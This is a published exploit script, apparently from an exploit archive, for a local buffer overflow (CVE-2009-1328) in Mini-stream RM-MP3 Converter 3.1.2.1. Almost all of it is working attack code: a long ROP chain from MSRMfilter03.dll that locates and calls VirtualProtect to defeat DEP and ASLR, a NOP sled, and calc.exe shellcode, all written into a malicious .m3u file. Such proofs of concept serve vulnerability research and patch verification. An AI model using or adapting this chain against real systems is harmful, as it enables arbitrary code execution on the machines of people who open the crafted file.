Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 – Local Buffer Overflow (ASLR + DEP Bypass)
# Exploit Title: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 local buffer overflow (\w ASLR and DEP bypass) # Date: 26 July 2012 # Exploit Author: Gianni Gnesa # Vendor Homepage: http://mini-stream.net/ # Software Link: http://mini-stream.net/rm-to-mp3-converter/download # Version: 3.1.2.1.2010.03.30 # Tested on: Windows 7 SP1 (VMware) # References: CVE-2009-1328, BID 34494 from struct import pack fname = "rop.m3u" hdr = "http://." junk1 = "A" * 17416 # junk rop = [ 0x10041720, # RETN [MSRMfilter03.dll] 0x41414141, # Compensate #### Save ESP into ESI # EAX=EBP 0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll] 0x10051ff5, # ADD EAX,EBP / RETN [MSRMfilter03.dll] # ESI=EAX 0x1005bb8e, # PUSH EAX / ADD DWORD PTR SS:[EBP+5],ESI / PUSH 1 / POP EAX / POP ESI / RETN [MSRMfilter03.dll] # EBX=ESI 0x1001217b, # PUSH ESI / ADD AL,5E / POP EBX / RETN [MSRMfilter03.dll] # EDX=EBX 0x1002991c, # XOR EDX,EDX / RETN [MSRMfilter03.dll] 0x10029f3e, # ADD EDX,EBX / POP EBX / RETN 10 [MSRMfilter03.dll] 0x41414141, # Junk popped in EBX # ESI=ESP 0x10032D54, # PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX],ECX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for RETN 0x41414141, # Junk for RETN 0x41414141, # Junk for RETN 0x41414141, # Junk for RETN #### Jump over VirtualProtect() 0x100237C8, # ADD ESP, 20 / RETN [MSRMfilter03.dll] 0x58585858, # VirtualProtect() 0x58585858, # Return Address 0x58585858, # lpAddress 0x58585858, # dwSize 0x58585858, # flNewProtect 0x10085515, # lpflOldProtect [Address in MSRMfilter03.dll] 0x90909090, # Padding 0x90909090, # Padding # ADD ESP,20 / RETN will land here #### Find kernel32.VirtualProtect # Save ESI (Saved ESP) into EBX 0x1001217b, # PUSH ESI / ADD AL,5E / POP EBX / RETN [MSRMfilter03.dll] # EAX = Saved ESP - 0xACE4 0x1002ca2d, # POP EAX / RETN [MSRMfilter03.dll] 0xFFFF531C, # -0xACE4 (offset from the Saved ESP to the kernel32.XXXXBBE4 in the stack) 0x10033bbb, # ADD EAX,ESI / POP ESI / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in ESI # Pickup kernel32.XXXXBBE4 into EAX 0x10027f59, # MOV EAX,DWORD PTR DS:[EAX] / RETN [MSRMfilter03.dll] # Find kernel32.VirtualProtect 0x1001263D, # POP ECX / RETN [MSRMfilter03.dll] 0xFFFF675D, # -0x98A3 (offset from kernel32.XXXXBBE4 to kernel32.VirtualProtect) 0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll] ##### Write VirtualProtect address to memory # EDX = EBX = Saved ESP 0x1002993c, # XOR EDX,EDX / RETN [MSRMfilter03.dll] 0x10029f3e, # ADD EDX,EBX / POP EBX / RETN 10 [MSRMfilter03.dll] 0x41414141, # Junk popped in EBX # EDX = EDX + 4 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for RETN 0x41414141, # Junk for RETN 0x41414141, # Junk for RETN 0x41414141, # Junk for RETN 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX # Write VirtualProtect address to memory 0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll] #### Write return address to memory # EAX = EDX (Saved ESP) + 0x300 0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll] 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP # EDX = EDX + 4 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX # Write return address to memory 0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll] #### Write lpAddress parameter to memory # EAX = EDX (Saved ESP) + 0x300 0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll] 0x1001263D, # POP ECX / RETN [MSRMfilter03.dll] 0xFFFFFFFC, # -0x4 (compensate EDX increment) 0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll] 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP # EDX = EDX + 4 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX # Write lpAddress parameter to memory 0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll] #### Write dwSize parameter to memory # EAX = 0x400 0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll] 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP 0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP # EDX = EDX + 4 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX # Write dwSize parameter to memory 0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll] #### Write flNewProtect parameter to memory # EAX = 0x40 0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll] 0x10031c81, # ADD EAX,40 # POP EBP / RETN [MSRMfilter03.dll] 0x41414141, # Junk popped in EBP # EDX = EDX + 4 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX 0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll] 0x41414141, # Junk for ESI 0x41414141, # Junk for EDI 0x41414141, # Junk for EBX # Write flNewProtect parameter to memory 0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll] #### Call VirtualProtect 0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll] 0x1001263D, # POP ECX / RETN [MSRMfilter03.dll] 0xFFFFFFF0, # -0x10 (Move EDX back to the VirtualProtect call) 0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll] 0x1002fe81, # XCHG EAX,ESP / RETN [MSRMfilter03.dll] ] nops = "\x90" * 240 # calc.exe payload shellcode = ( "\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52" "\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E" "\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C" "\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F" "\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7" ) print "Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30" print "Local buffer overflow (\w ASLR and DEP bypass)\n" payload = hdr + junk1 + pack('<'+str(len(rop))+'L',*rop) + nops + shellcode f = open(fname, "w") f.write(payload) f.close() print "%s file created!" % fname |